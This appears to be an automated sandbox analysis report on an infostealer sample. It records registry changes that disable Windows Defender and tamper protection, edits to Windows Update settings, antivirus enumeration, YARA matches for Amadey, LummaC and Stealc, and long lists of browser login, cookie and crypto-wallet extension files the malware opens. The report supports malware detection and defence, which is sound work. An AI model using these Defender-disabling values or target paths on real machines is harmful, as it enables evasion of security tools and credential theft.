Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2295949392.00000000013B5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 32.2.WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AJK1SC9862O5LRO4.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2099183730.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2292834036.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2102133109.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2055282800.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2096481983.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2142549332.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2557479019.00000000000E1000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2516417905.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2336121912.0000000000D21000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: dd62608cd9.exe PID: 4296, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7f3598dc65.exe PID: 3352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7f3598dc65.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2360101819.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2344313547.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2344210993.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2261496330.0000000005740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2520754609.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2573310772.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2573197213.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2309214794.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2590932503.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2591047793.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2426511088.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2360865122.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2588992623.00000000004D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 606111e8b5.exe PID: 2496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 606111e8b5.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1729379580.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/Electrum-LTC
Source: file.exe, 00000000.00000003.1729379580.00000000010E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/ElectronCash)H;j
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
